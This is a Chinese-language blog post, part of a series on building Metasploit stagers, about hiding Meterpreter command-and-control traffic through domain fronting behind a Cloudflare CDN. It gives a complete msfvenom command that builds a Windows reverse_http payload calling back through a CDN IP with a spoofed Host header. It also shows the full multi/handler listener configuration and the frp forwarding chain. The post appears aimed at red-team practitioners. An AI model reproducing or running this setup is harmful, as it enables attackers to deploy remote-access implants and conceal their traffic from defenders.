msf stagers開發不完全指北(四): msf 中使用域前置技術隱藏流量

Akkuman發表於2020-07-17

msf 中使用域前置技術隱藏流量

前幾篇都是說了下如何採用不同的語言開發 reverse_tcp 第二階段,接下來將慢慢分析 reverse_http,這篇文章並不會圍繞 stagers 進行講解,這篇文章只是半埋上我之前挖的一個坑,關於域前置技術如何在 msf 中進行應用。

域前置技術介紹

域前置技術(Domain-Fronting)顧名思義,把域名放在前面,流量的前面,那麼我們應該如何做到這件事情,這個一般就是利用各大 cdn 服務了。

cdn 技術我不用做過多介紹,相信大家給自己的網站上 cdn 都會上,簡略來說原理的話,在域名註冊商那裡把 ns 記錄,也就是 dns 解析伺服器指向到你選擇的 cdn 服務商,然後 cdn 就可以接管你的域名解析了,通過不同的快取分流策略,把流量經過他的伺服器後再轉發給我們自己,也就是 cdn 後面的真實ip我們是不容易找到的。

那麼應用到 C2 上,我們 C2 伺服器也可以掛在 cdn 後面,流量通過 cdn 轉發回來。

具體更為詳細的介紹可以參見 紅隊行動之魚叉攻擊-傾旋

基礎配置

首先不管怎樣你需要有一個伺服器,以及一個加了 cdn 的域名執行你伺服器

這裡我假設我們持有的域名為 test.akkuman.com,域名配好 cdn 指向的伺服器是 1.1.1.1

這裡你是把伺服器架在 msf 上面還是內網穿透打通埠,這個看自己喜好

我這裡是 msf 位於其他地方 2.2.2.2,然後 2.2.2.2 的 5555 埠通過 frp 對映到 1.1.1.1 的 80 埠上。

5555 埠是我們待會 msf 監聽的埠,80 埠是因為訪問域名,http 協議,訪問80。

因為這些流量會通過 cdn 先轉發到我們主機上的 80 埠,然後 80 埠上的流量會通過 frp 處理後送到我們本機監聽的 5555 埠上。

生成 msf payload

基礎一些配置做好之後,我們可以生成 payload 了。

首先我們需要得到一個 cdn 的 ip,因為 cdn 是依靠 http header 中的 Host 頭進行流量轉發的,所以我們只需要 ping 一下我們加了 cdn 的域名即可獲得一個 ip,這裡我是用的 cloudflare,獲得的一個 ip 為 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

這裡 LHOST 為我們獲取的 cdn ip,因為是 http 協議的 payload,訪問域名是訪問 80 埠,LPORT 我們設定為 80

HttpHostHeader 選項為這個生成的 payload 使用 http 協議回連到 cdn ip 時 http header 所使用的 Host 頭,還記得我們剛才說的 cdn 如何識別域名進行流量轉發嗎,這個就主要是為了 cdn 能夠把流量轉回到我們自己的伺服器

建立監聽器

msf 在監聽中有一些配置需要說明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 為給 payload 返回第二階段載荷時填入的 ip 地址,即第二階段會回連到這個 ip

  • lport 為給 payload 返回第二階段載荷時填入的 port,即第二階段會回連到這個埠

  • HttpHostHeader 前面說過,是 payload 回連到這個 ip 和 port 時在 http header 中填入的 Host 頭

  • OverrideRequestHost 這個選項需要設定為 true,主要是因為 msf 的歷史原因,msf 預設是使用傳入請求 http header 中的 Host 欄位來作為第二階段的配置,也就是第二階段會採用建立連線時傳入請求的 Host,這種預設行為在大多數請求下沒問題,具體可以自行測試,具體是需要 cdn 回連到我們真實 ip 時傳遞的域名是我們想要的,這個引數設定為 true 可以讓 msf 忽略傳入請求的 Host 頭,而使用我們在 HttpHostHeader 中設定的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 引數主要是因為我的環境問題,我是通過 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那麼 duck 不必這麼做,直接監聽 80 就好

ReverseListenerBindAddress 這個引數其實設定不設定都沒關係,但是不設定的話會有個小報錯,

[-] Handler failed to bind to 172.67.207.124:80

這是因為 handler 無法將 cdn 的 ip 繫結到LHOST,因為這個 ip 在我們伺服器上不存在,繫結失敗就會提示這個,然後繼續繫結 0.0.0.0。如果想要在介面上不顯示這個錯誤,需要設定 ReverseListenerBindAddress 為 0.0.0.0 或者 127.0.0.1 之類的

可以看到,當我們不設定 ReverseListenerBindAddress 和 ReverseListenerBindPort 時會出現上面的報錯 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是希望監聽 80 的,而 1.1.1.1:80 上面的流量是轉發到我們伺服器 (2.2.2.2) 本機的 5555 埠上的。

所以我們的監聽程式實際上需要監聽在 5555 埠上,所以需要設定 ReverseListenerBindPort 引數

上面的 lhost 和 lport 其實主要是為了第二階段回送服務的。

實際效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:隨機埠] <-> 127.0.0.1:5555

可以看到不管是請求第二階段還是後續的心跳包,都是有帶上 Host 頭,流經 cdn 伺服器的,這樣我們就達到了隱藏自身的效果

那麼 msf 會話這邊呢

可以看到,也是可以正常使用的

相關文章